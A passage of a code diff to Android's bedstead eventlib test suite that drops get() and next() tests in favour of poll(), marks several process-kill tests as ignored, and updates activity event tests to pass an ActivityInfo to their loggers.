-        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
-    }
-
-    @Test
-    public void poll_previouslyCalledNext_returnsNextUnseenEvent() {
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .setData(DATA_1)
-                .log();
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .setData(DATA_2)
-                .log();
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
-                .whereTag().isEqualTo(TEST_TAG1);
-        eventLogs.next();
-
-        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
-    }
-
-    @Test
-    public void poll_differentPackage_previouslyCalledNext_returnsNextUnseenEvent() {
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
-                .whereTag().isEqualTo(TEST_TAG1);
-        eventLogs.next();
-
-        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
-    }
-
-    @Test
     public void poll_returnsNextUnseenEvent() {
         CustomEvent.logger(sContext)
                 .setTag(TEST_TAG1)
@@ -497,58 +245,6 @@
     }
 
     @Test
-    public void get_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG2)
-                .log();
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .log();
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
-                .whereTag().isEqualTo(TEST_TAG1);
-
-        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
-    }
-
-    @Test
-    public void get_differentPackage_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
-                .whereTag().isEqualTo(TEST_TAG1);
-
-        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
-    }
-
-    @Test
-    public void next_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG2)
-                .log();
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .log();
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
-                .whereTag().isEqualTo(TEST_TAG1);
-
-        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
-    }
-
-    @Test
-    public void next_differentPackage_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
-                .whereTag().isEqualTo(TEST_TAG1);
-
-        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
-    }
-
-    @Test
     public void poll_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
         CustomEvent.logger(sContext)
                 .setTag(TEST_TAG2)
@@ -574,90 +270,6 @@
     }
 
     @Test
-    public void get_multipleLoggedEvents_returnsFirstEvent() {
-        CustomEvent.logger(sContext)
-                .setData(DATA_1)
-                .log();
-        CustomEvent.logger(sContext)
-                .setData(DATA_2)
-                .log();
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName());
-
-        assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
-    }
-
-    @Test
-    public void get_differentPackage_multipleLoggedEvents_returnsFirstEvent() {
-        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
-        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
-
-        assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
-    }
-
-    @Test
-    public void get_multipleCalls_alwaysReturnsFirstEvent() {
-        CustomEvent.logger(sContext)
-                .setData(DATA_1)
-                .log();
-        CustomEvent.logger(sContext)
-                .setData(DATA_2)
-                .log();
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName());
-        eventLogs.get();
-
-        assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
-    }
-
-    @Test
-    public void get_differentPackage_multipleCalls_alwaysReturnsFirstEvent() {
-        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
-        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
-        eventLogs.get();
-
-        assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
-    }
-
-    @Test
-    public void get_loggedAfter_returnsNull() {
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName());
-
-        scheduleCustomEventInOneSecond();
-
-        assertThat(eventLogs.get()).isNull();
-    }
-
-    @Test
-    public void get_differentPackage_loggedAfter_returnsNull() {
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
-
-        scheduleCustomEventInOneSecondOnTestApp();
-
-        assertThat(eventLogs.get()).isNull();
-    }
-
-    @Test
-    public void next_loggedAfter_returnsNull() {
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName());
-
-        scheduleCustomEventInOneSecond();
-
-        assertThat(eventLogs.next()).isNull();
-    }
-
-    @Test
-    public void next_differentPackage_loggedAfter_returnsNull() {
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
-
-        scheduleCustomEventInOneSecondOnTestApp();
-
-        assertThat(eventLogs.next()).isNull();
-    }
-
-    @Test
     public void poll_loggedAfter_returnsEvent() {
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
                 .whereTag().isEqualTo(TEST_TAG1);
@@ -688,30 +300,6 @@
     }
 
     @Test
-    public void next_loggedAfterPreviousCallToNext_returnsNewEvent() {
-        CustomEvent.logger(sContext)
-                .setData(DATA_1)
-                .log();
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName());
-        eventLogs.next();
-        CustomEvent.logger(sContext)
-                .setData(DATA_2)
-                .log();
-
-        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
-    }
-
-    @Test
-    public void next_differentPackage_loggedAfterPreviousCallToNext_returnsNewEvent() {
-        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
-        eventLogs.next();
-        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
-
-        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
-    }
-
-    @Test
     public void poll_loggedAfterPreviousCallToPoll_returnsNewEvent() {
         CustomEvent.logger(sContext)
                 .setData(DATA_1)
@@ -736,28 +324,6 @@
     }
 
     @Test
-    public void next_calledOnSeparateQuery_returnsFromStartsAgain() {
-        CustomEvent.logger(sContext)
-                .setData(DATA_1)
-                .log();
-        EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(sContext.getPackageName());
-        EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(sContext.getPackageName());
-
-        assertThat(eventLogs1.next()).isNotNull();
-        assertThat(eventLogs2.next()).isNotNull();
-    }
-
-    @Test
-    public void next_differentPackage_calledOnSeparateQuery_returnsFromStartsAgain() {
-        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
-        EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
-        EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
-
-        assertThat(eventLogs1.next()).isNotNull();
-        assertThat(eventLogs2.next()).isNotNull();
-    }
-
-    @Test
     public void poll_calledOnSeparateQuery_returnsFromStartsAgain() {
         CustomEvent.logger(sContext)
                 .setData(DATA_1)
@@ -765,8 +331,8 @@
         EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(sContext.getPackageName());
         EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(sContext.getPackageName());
 
-        assertThat(eventLogs1.next()).isNotNull();
-        assertThat(eventLogs2.next()).isNotNull();
+        assertThat(eventLogs1.poll()).isNotNull();
+        assertThat(eventLogs2.poll()).isNotNull();
     }
 
     @Test
@@ -775,34 +341,8 @@
         EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
         EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
 
-        assertThat(eventLogs1.next()).isNotNull();
-        assertThat(eventLogs2.next()).isNotNull();
-    }
-
-    @Test
-    public void get_obeysLambdaFilter() {
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .log();
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG2)
-                .log();
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
-                .filter(e -> TEST_TAG2.equals(e.tag()));
-
-        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG2);
-    }
-
-    @Test
-    public void get_differentPackage_obeysLambdaFilter() {
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
-                .filter(e -> TEST_TAG2.equals(e.tag()));
-
-        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs1.poll()).isNotNull();
+        assertThat(eventLogs2.poll()).isNotNull();
     }
 
     @Test
@@ -834,71 +374,6 @@
     }
 
     @Test
-    public void next_obeysLambdaFilter() {
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .log();
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG2)
-                .log();
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
-                .filter(e -> TEST_TAG2.equals(e.tag()));
-
-        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
-        assertThat(eventLogs.next()).isNull();
-    }
-
-    @Test
-    public void next_differentPackage_obeysLambdaFilter() {
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
-                .filter(e -> TEST_TAG2.equals(e.tag()));
-
-        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
-        assertThat(eventLogs.next()).isNull();
-    }
-
-    @Test
-    public void get_obeysMultipleLambdaFilters() {
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .log();
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG2)
-                .log();
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG2)
-                .setData(DATA_1)
-                .log();
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
-                .filter(e -> TEST_TAG2.equals(e.tag()))
-                .filter(e -> DATA_1.equals(e.data()));
-
-        CustomEvent event = eventLogs.get();
-        assertThat(event.tag()).isEqualTo(TEST_TAG2);
-        assertThat(event.data()).isEqualTo(DATA_1);
-    }
-
-    @Test
-    public void get_differentPackage_obeysMultipleLambdaFilters() {
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ DATA_1);
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
-                .filter(e -> TEST_TAG2.equals(e.tag()))
-                .filter(e -> DATA_1.equals(e.data()));
-
-        CustomEvent event = eventLogs.get();
-        assertThat(event.tag()).isEqualTo(TEST_TAG2);
-        assertThat(event.data()).isEqualTo(DATA_1);
-    }
-
-    @Test
     public void poll_obeysMultipleLambdaFilters() {
         CustomEvent.logger(sContext)
                 .setTag(TEST_TAG1)
@@ -938,45 +413,6 @@
     }
 
     @Test
-    public void next_obeysMultipleLambdaFilters() {
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG1)
-                .log();
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG2)
-                .log();
-        CustomEvent.logger(sContext)
-                .setTag(TEST_TAG2)
-                .setData(DATA_1)
-                .log();
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
-                .filter(e -> TEST_TAG2.equals(e.tag()))
-                .filter(e -> DATA_1.equals(e.data()));
-
-        CustomEvent event = eventLogs.next();
-        assertThat(event.tag()).isEqualTo(TEST_TAG2);
-        assertThat(event.data()).isEqualTo(DATA_1);
-        assertThat(eventLogs.next()).isNull();
-    }
-
-    @Test
-    public void next_differentPackage_obeysMultipleLambdaFilters() {
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
-        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ DATA_1);
-
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
-                .filter(e -> TEST_TAG2.equals(e.tag()))
-                .filter(e -> DATA_1.equals(e.data()));
-
-        CustomEvent event = eventLogs.next();
-        assertThat(event.tag()).isEqualTo(TEST_TAG2);
-        assertThat(event.data()).isEqualTo(DATA_1);
-        assertThat(eventLogs.next()).isNull();
-    }
-
-    @Test
     public void waitForEvent_hasEvent_returnsEvent() {
         CustomEvent.logger(sContext)
                 .setTag(TEST_TAG1)
@@ -1063,15 +499,17 @@
     }
 
     @Test
+    @Ignore("Restore when this functionality is restored")
     public void otherProcessGetsKilled_stillReturnsLogs() {
         logCustomEventOnTestApp(/* tag= */ null, /* data= */ null);
 
         killTestApp();
 
-        assertThat(CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).get()).isNotNull();
+        assertThat(CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).poll()).isNotNull();
     }
 
     @Test
+    @Ignore("Restore when this functionality is restored")
     public void otherProcessGetsKilledMultipleTimes_stillReturnsOriginalLog() {
         logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
         killTestApp();
@@ -1079,22 +517,23 @@
         killTestApp();
 
         assertThat(
-                CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).get().tag()).isEqualTo(TEST_TAG1);
+                CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).poll().tag()).isEqualTo(TEST_TAG1);
     }
 
     @Test
+    @Ignore("Restore when this functionality is restored")
     public void otherProcessGetsKilled_returnsLogsInCorrectOrder() {
         logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
         logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
         killTestApp();
 
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
-        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
-        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
-        assertThat(eventLogs.next()).isNull();
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG1);
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG2);
     }
 
     @Test
+    @Ignore("Restore when this functionality is restored")
     public void otherProcessGetsKilledMultipleTimes_returnsLogsInCorrectOrder() {
         logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
         killTestApp();
@@ -1102,9 +541,8 @@
         killTestApp();
 
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
-        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
-        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
-        assertThat(eventLogs.next()).isNull();
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG1);
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG2);
     }
 
     @Test
@@ -1114,7 +552,7 @@
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
                 .onUser(sProfile);
 
-        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG1);
     }
 
     @Test
@@ -1124,7 +562,7 @@
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
                 .onUser(sProfile.userHandle());
 
-        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG1);
     }
 
     @Test
@@ -1135,8 +573,7 @@
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
                 .onUser(sProfile);
 
-        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
-        assertThat(eventLogs.next()).isNull();
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG2);
     }
 
     @Test
@@ -1158,14 +595,14 @@
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
                 .onUser(NON_EXISTING_USER_HANDLE);
 
-        assertThrows(AssertionError.class, eventLogs::get);
+        assertThrows(AssertionError.class, eventLogs::poll);
     }
 
     @Test
     public void incorrectPackageName_fails() {
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(INCORRECT_PACKAGE_NAME);
 
-        assertThrows(AssertionError.class, eventLogs::get);
+        assertThrows(AssertionError.class, eventLogs::poll);
     }
 
     private void scheduleCustomEventInOneSecond() {
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
index 778c62a..7e7c434 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
@@ -55,7 +55,7 @@
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
                 .whereTag().isEqualTo(TAG_1);
 
-        assertThat(eventLogs.get().tag()).isEqualTo(TAG_1);
+        assertThat(eventLogs.poll().tag()).isEqualTo(TAG_1);
     }
 
     @Test
@@ -70,7 +70,7 @@
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
                 .whereTag().isEqualTo(TAG_2);
 
-        assertThat(eventLogs.get().tag()).isEqualTo(TAG_2);
+        assertThat(eventLogs.poll().tag()).isEqualTo(TAG_2);
     }
 
     @Test
@@ -82,7 +82,7 @@
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
                 .whereData().isEqualTo(DATA_1);
 
-        assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_1);
     }
 
     @Test
@@ -97,6 +97,6 @@
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
                 .whereData().isEqualTo(DATA_2);
 
-        assertThat(eventLogs.get().data()).isEqualTo(DATA_2);
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
     }
 }
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
index 42c48c9..e0a11a0 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
@@ -19,6 +19,7 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import android.content.Context;
+import android.content.pm.ActivityInfo;
 import android.os.Bundle;
 import android.os.PersistableBundle;
 
@@ -43,9 +44,11 @@
     private final Bundle mSavedInstanceState = new Bundle();
     private final PersistableBundle mPersistentState = new PersistableBundle();
 
-    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
-    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
-    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+    private static final String ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final ActivityInfo ACTIVITY_INFO = new ActivityInfo();
+    {
+        ACTIVITY_INFO.name = ACTIVITY_CLASS_NAME;
+    }
 
     @Before
     public void setUp() {
@@ -56,7 +59,7 @@
     public void whereSavedInstanceState_works() throws Exception {
         mSavedInstanceState.putString(STRING_KEY, STRING_VALUE);
         ActivityContext.runWithContext((activity) ->
-                ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                ActivityCreatedEvent.logger(activity, ACTIVITY_INFO, mSavedInstanceState)
                         .log());
 
         EventLogs<ActivityCreatedEvent> eventLogs =
@@ -64,7 +67,7 @@
                         .whereSavedInstanceState()
                             .key(STRING_KEY).stringValue().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().savedInstanceState()).isEqualTo(mSavedInstanceState);
+        assertThat(eventLogs.poll().savedInstanceState()).isEqualTo(mSavedInstanceState);
     }
 
     @Test
@@ -74,9 +77,9 @@
         mSavedInstanceState.putString(STRING_KEY, STRING_VALUE);
 
         ActivityContext.runWithContext((activity) -> {
-            ActivityCreatedEvent.logger(activity, differentInstanceState)
+            ActivityCreatedEvent.logger(activity, ACTIVITY_INFO, differentInstanceState)
                     .log();
-            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+            ActivityCreatedEvent.logger(activity, ACTIVITY_INFO, mSavedInstanceState)
                     .log();
         });
 
@@ -85,14 +88,14 @@
                         .whereSavedInstanceState()
                             .key(STRING_KEY).stringValue().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().savedInstanceState()).isEqualTo(mSavedInstanceState);
+        assertThat(eventLogs.poll().savedInstanceState()).isEqualTo(mSavedInstanceState);
     }
 
     @Test
     public void wherePersistentState_works() throws Exception {
         mPersistentState.putString(STRING_KEY, STRING_VALUE);
         ActivityContext.runWithContext((activity) ->
-                ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                ActivityCreatedEvent.logger(activity, ACTIVITY_INFO, mSavedInstanceState)
                         .setPersistentState(mPersistentState)
                         .log());
 
@@ -101,7 +104,7 @@
                         .wherePersistentState()
                             .key(STRING_KEY).stringValue().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().persistentState()).isEqualTo(mPersistentState);
+        assertThat(eventLogs.poll().persistentState()).isEqualTo(mPersistentState);
     }
 
     @Test
@@ -110,10 +113,10 @@
         differentPersistentState.putString(STRING_KEY, DIFFERENT_STRING_VALUE);
         mPersistentState.putString(STRING_KEY, STRING_VALUE);
         ActivityContext.runWithContext((activity) -> {
-            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+            ActivityCreatedEvent.logger(activity, ACTIVITY_INFO, mSavedInstanceState)
                     .setPersistentState(differentPersistentState)
                     .log();
-            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+            ActivityCreatedEvent.logger(activity, ACTIVITY_INFO, mSavedInstanceState)
                     .setPersistentState(mPersistentState)
                     .log();
         });
@@ -123,69 +126,36 @@
                         .wherePersistentState()
                             .key(STRING_KEY).stringValue().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().persistentState()).isEqualTo(mPersistentState);
+        assertThat(eventLogs.poll().persistentState()).isEqualTo(mPersistentState);
     }
 
     @Test
-    public void whereActivity_customValueOnLogger_works() throws Exception {
+    public void whereActivity_works() throws Exception {
         ActivityContext.runWithContext((activity) ->
-                ActivityCreatedEvent.logger(activity, mSavedInstanceState)
-                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                ActivityCreatedEvent.logger(activity, ACTIVITY_INFO, mSavedInstanceState)
                         .log());
 
         EventLogs<ActivityCreatedEvent> eventLogs =
                 ActivityCreatedEvent.queryPackage(sContext.getPackageName())
-                .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+                        .whereActivity().activityClass().className().isEqualTo(ACTIVITY_CLASS_NAME);
 
-        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll().activity().className()).isEqualTo(ACTIVITY_CLASS_NAME);
     }
 
     @Test
-    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+    public void whereActivity_skipsNonMatching() throws Exception {
         ActivityContext.runWithContext((activity) -> {
-            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
-                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+            ActivityCreatedEvent.logger(activity, ACTIVITY_INFO, mSavedInstanceState)
                     .log();
-            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
-                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+            ActivityCreatedEvent.logger(activity, ACTIVITY_INFO, mSavedInstanceState)
                     .log();
         });
 
         EventLogs<ActivityCreatedEvent> eventLogs =
                 ActivityCreatedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+                        .whereActivity().activityClass().className().isEqualTo(ACTIVITY_CLASS_NAME);
 
-        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
-    }
-
-    @Test
-    public void whereActivity_defaultValue_works() throws Exception {
-        ActivityContext.runWithContext((activity) ->
-                ActivityCreatedEvent.logger(activity, mSavedInstanceState)
-                        .log());
-
-        EventLogs<ActivityCreatedEvent> eventLogs =
-                ActivityCreatedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-
-        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-    }
-
-    @Test
-    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
-        ActivityContext.runWithContext((activity) -> {
-            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
-                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
-                    .log();
-            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
-                    .log();
-        });
-
-        EventLogs<ActivityCreatedEvent> eventLogs =
-                ActivityCreatedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
-
-        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll().activity().className()).isEqualTo(ACTIVITY_CLASS_NAME);
     }
 
 }
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityDestroyedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityDestroyedEventTest.java
index 6f8ac05..568129f 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityDestroyedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityDestroyedEventTest.java
@@ -19,6 +19,7 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import android.content.Context;
+import android.content.pm.ActivityInfo;
 
 import com.android.activitycontext.ActivityContext;
 import com.android.bedstead.nene.TestApis;
@@ -35,9 +36,11 @@
     private static final TestApis sTestApis = new TestApis();
     private static final Context sContext = sTestApis.context().instrumentedContext();
 
-    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
-    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
-    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+    private static final String ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final ActivityInfo ACTIVITY_INFO = new ActivityInfo();
+    {
+        ACTIVITY_INFO.name = ACTIVITY_CLASS_NAME;
+    }
 
     @Before
     public void setUp() {
@@ -45,65 +48,32 @@
     }
 
     @Test
-    public void whereActivity_customValueOnLogger_works() throws Exception {
+    public void whereActivity_works() throws Exception {
         ActivityContext.runWithContext((activity) ->
-                ActivityDestroyedEvent.logger(activity)
-                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                ActivityDestroyedEvent.logger(activity, ACTIVITY_INFO)
                         .log());
 
         EventLogs<ActivityDestroyedEvent> eventLogs =
                 ActivityDestroyedEvent.queryPackage(sContext.getPackageName())
-                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+                        .whereActivity().activityClass().className().isEqualTo(ACTIVITY_CLASS_NAME);
 
